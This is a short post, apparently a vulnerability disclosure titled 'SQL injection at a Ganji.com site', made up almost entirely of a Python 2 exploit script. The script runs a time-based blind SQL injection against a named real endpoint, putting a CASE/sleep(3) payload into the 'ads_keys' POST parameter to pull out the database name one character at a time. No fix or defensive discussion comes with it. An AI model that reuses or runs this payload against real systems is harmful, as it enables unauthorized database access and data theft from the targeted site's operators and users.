赶集网某站SQL注入

#!/usr/bin/env python
 #-*-coding:utf-8-*-
 
 
 import requests
 import string
 import time
 
 
 character = string.digits + string.ascii_lowercase + '._@ '
 url = 'http://love.ganji.com/ajax.php?vmoduel=adm&vaction=adShow'
 res = ''
 
 for i in range(1, 20):
  for p in character:
   start_time = time.time()
   key = "ads_keys='+(case when now()=sysdate() and position('{}' in database())={} then sleep(3) else 2 end)+'".format(p, i)
   req = requests.post(url, data={'ads_keys': key})
   print key
   if time.time() - start_time > 3:
    res += p
    print "/n" + res + "/n"
    break
 print "/n/n[Finish]: " + res